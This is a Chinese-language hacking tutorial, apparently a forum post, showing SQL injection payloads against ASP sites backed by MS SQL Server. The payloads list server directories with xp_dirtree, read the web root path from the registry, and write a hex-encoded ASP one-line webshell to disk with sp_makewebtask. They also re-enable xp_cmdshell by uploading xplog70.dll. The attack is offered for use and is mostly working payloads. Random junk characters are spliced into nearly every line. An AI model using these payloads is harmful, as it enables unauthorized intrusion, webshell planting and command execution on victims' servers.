好,我们exec master..xp_dirtree'd:/test') _5 |# \% Z! \9 E* P9 x8 \. M, |
假设我们在test里有两个文件夹test1和test2在test1里又有test3
: Z" O+ X# p" l结果显示
R$ x& c3 A* I2 M6 @( w: j6 C! c, v8 a6 [3 T/ K
subdirectory depth
# J. E3 U0 ]5 `2 Q6 Ntest1 1
" g: }3 G, _& Ttest3 2
/ {& w9 O5 ~( j4 D. D+ ctest2 1
9 e+ E+ R% J& `
1 [" c* E% ^; U哈哈发现没有那个depth就是目录的级数" B8 G* t* W0 H4 _' Q* z
ok了,知道怎么办了吧+ W6 Q3 K1 n/ x$ x+ B4 H# ?
# @3 @5 q) k) H' mhttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
6 e+ m/ |# i/ j* O+ s0 ihttp://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- - z/ `. p. \! h! ]( L+ H
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-: p, E( c# R3 y3 T" w
, f7 u. l# n( l' V. p* h只要加上id=1,就是第一级目录 。
- V7 i W" |; G) I4 c8 S8 p2 a4 G1 P6 A9 {% `# Z+ b# H3 g
: `. O, B0 `. a+ T4 D
通过注册表读网站路径:
( n6 b( P& a1 J3 V
4 m9 V3 F3 @+ H( ^$ T1.;create table [dbo].[cyfd] ([gyfd][char](255));
# x1 j3 w! t# V) j1 h) b1 O$ u3 u: F" ?2 s, n/ ?2 r( w
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
3 K! w( `' S5 h1 {" g" Tid=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--; ?: I. A' L* ~/ i9 Y
7 B% U5 Y2 R( p9 u+ O
3.and 1=(select count(*) from 临时表 where 临时字段名>1)' S! J: W+ E9 s; a' g2 a) @' \
and 1=(select count(*) from cyfd where gyfd > 1)
7 R. H$ ?( f5 W7 d* o0 u0 V这样IE报错,就把刚才插进去的Web路径的值报出来了
1 {$ P- R+ X7 H H/ v6 C" O5 g& y
4.drop table cyfd;-- 删除临时表: B' J5 Y$ C" o
4 j4 t1 Z3 M" s1 u5 I' ?获得webshell方法:. Z9 j! p, D$ e/ z' m5 @, `: }# q
1.create table cmd (a image)-- \**cmd是创建的临时表# k) X9 i3 d; s G; }- g- h4 ?
3 v+ W( V; p4 w3 C" E H2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话* I0 W C$ D" K: t- ?
! u |6 B7 x- P7 Z2 h. w% [5 C. J
5 h2 A' N% y1 D5 A
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
8 m" O2 L7 L6 W+ T* A4 L3 \) d7 XEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表' R! T& |2 y1 L2 S
; m+ ^* o2 B/ k
4.drop table cmd;-- 删除cmd临时表
! s/ E8 X* Y, Z6 M& A4 }" E1 j8 q. w4 a
恢复xp_cmdshell方法之一:
" J( v! _7 ^% G7 o6 S2 G O+ A我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
8 P) j: [) g$ k5 N3 rhttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
) t. h) @' |8 t; [恢复,支持绝对路径的恢复哦。:)) O$ R. p7 G9 ]- D. q" w- C
|